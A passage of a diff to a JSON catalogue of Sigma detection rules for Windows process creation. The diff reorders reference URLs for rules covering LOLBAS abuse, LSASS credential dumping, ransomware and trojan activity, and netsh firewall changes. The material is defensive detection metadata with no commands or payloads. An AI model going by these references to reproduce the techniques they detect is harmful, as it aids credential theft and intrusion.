"attack.credential_access", @@ -40896,8 +40894,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" ], "tags": [ "attack.defense_evasion", @@ -40921,8 +40919,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" ], "tags": [ "attack.defense_evasion", @@ -40970,10 +40968,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" + "https://twitter.com/oulusoyum/status/1191329746069655553" ], "tags": [ "attack.defense_evasion", @@ -41024,9 +41022,9 @@ "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml", "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" + "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/" ], "tags": [ "attack.defense_evasion", @@ -41097,8 +41095,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" ], "tags": [ @@ -41122,9 +41120,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", - "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" + "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py" ], "tags": [ "attack.defense_evasion", @@ -41170,8 +41168,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -41194,9 +41192,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" ], "tags": [ @@ -41220,11 +41218,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/" ], "tags": [ "attack.exfiltration" @@ -41271,9 +41269,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" ], "tags": [ "attack.collection", @@ -41296,10 +41294,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml", "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" ], "tags": [ "attack.impact", @@ -41350,10 +41348,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/my-name-is-dtrack/93338/", - "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml", + "https://securelist.com/my-name-is-dtrack/93338/", + "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/" ], "tags": [ "attack.impact", @@ -41376,11 +41374,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml", "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" + "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/" ], "tags": [ "attack.execution", @@ -41405,11 +41403,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", - "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", - "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml", + "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", + "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", + "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/" ], "tags": [ "attack.resource_development", @@ -41432,9 +41430,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/schroedingers-petya/78870/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml", "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" + "https://securelist.com/schroedingers-petya/78870/" ], "tags": [ "attack.defense_evasion", @@ -41462,8 +41460,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/killamjr/status/1179034907932315648", - "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml", + "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/" ], "tags": [ "attack.execution", @@ -41486,8 +41484,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml", + "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/" ], "tags": [ "attack.persistence", @@ -41536,8 +41534,8 @@ "logsource.product": "windows", "refs": [ "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/" ], "tags": [ "attack.discovery", @@ -41561,8 +41559,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/" ], "tags": [ "attack.execution", @@ -41666,10 +41664,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml", "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", - "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2" ], "tags": [ "attack.execution", @@ -41692,8 +41690,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia" ], "tags": [ "attack.execution", @@ -41718,9 +41716,9 @@ "logsource.product": "windows", "refs": [ "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", - "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml", + "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/" ], "tags": [ "attack.impact", @@ -41743,8 +41741,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml", + "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/" ], "tags": [ "attack.execution", @@ -41767,12 +41765,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", - "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", "https://twitter.com/bohops/status/980659399495741441", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml", + "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", "https://twitter.com/JohnLaTwC/status/1223292479270600706", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" + "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md" ], "tags": [ "attack.defense_evasion", @@ -41851,9 +41849,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml", "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing" ], "tags": [ "attack.execution", @@ -41874,8 +41872,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" ], "tags": [ "attack.lateral_movement", @@ -41948,10 +41946,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml", + "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html" ], "tags": [ "attack.defense_evasion", @@ -41975,8 +41973,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", - "https://sourceforge.net/projects/mouselock/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml", + "https://sourceforge.net/projects/mouselock/" ], "tags": [ "attack.credential_access", @@ -42000,10 +41998,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", - "https://twitter.com/pabraeken/status/995837734379032576", "https://twitter.com/pabraeken/status/999090532839313408", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" + "https://twitter.com/pabraeken/status/995837734379032576", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/" ], "tags": [ "attack.execution", @@ -42026,10 +42024,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://twitter.com/_JohnHammond/status/1531672601067675648", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml", + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://twitter.com/_JohnHammond/status/1531672601067675648" ], "tags": [ "attack.defense_evasion", @@ -42052,10 +42050,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", + "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab" ], "tags": [ "attack.defense_evasion", @@ -42078,8 +42076,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1537896324837781506", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml", + "https://twitter.com/nas_bench/status/1537896324837781506" ], "tags": [ "attack.defense_evasion", @@ -42102,9 +42100,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml", + "https://twitter.com/nao_sec/status/1530196847679401984" ], "tags": [ "attack.defense_evasion", @@ -42128,8 +42126,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1478234484881436672?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml", + "https://twitter.com/mrd0x/status/1478234484881436672?s=12" ], "tags": [ "attack.command_and_control", @@ -42232,8 +42230,8 @@ "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://twitter.com/_st0pp3r_/status/1583914515996897281", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml", + "https://twitter.com/_st0pp3r_/status/1583914515996897281" ], "tags": [ "attack.defense_evasion", @@ -42256,8 +42254,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md" ], "tags": [ "attack.t1218.007", @@ -42280,10 +42278,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://twitter.com/_st0pp3r_/status/1583914515996897281", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://twitter.com/_st0pp3r_/status/1583914515996897281" ], "tags": [ "attack.defense_evasion", @@ -42306,10 +42304,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://twitter.com/_st0pp3r_/status/1583914244344799235", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://twitter.com/_st0pp3r_/status/1583914244344799235" ], "tags": [ "attack.defense_evasion", @@ -42332,8 +42330,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "tags": [ "attack.defense_evasion", @@ -42356,8 +42354,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" ], "tags": [ @@ -42382,8 +42380,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" ], "tags": [ @@ -42457,8 +42455,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml", + "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/" ], "tags": [ "attack.defense_evasion", @@ -42481,9 +42479,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml", "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" ], "tags": [ "attack.defense_evasion", @@ -42507,8 +42505,8 @@ "logsource.product": "windows", "refs": [ "https://www.virusradar.com/en/Win32_Kasidet.AD/description", - "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml", + "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100" ], "tags": [ "attack.defense_evasion", @@ -42555,9 +42553,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", - "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", - 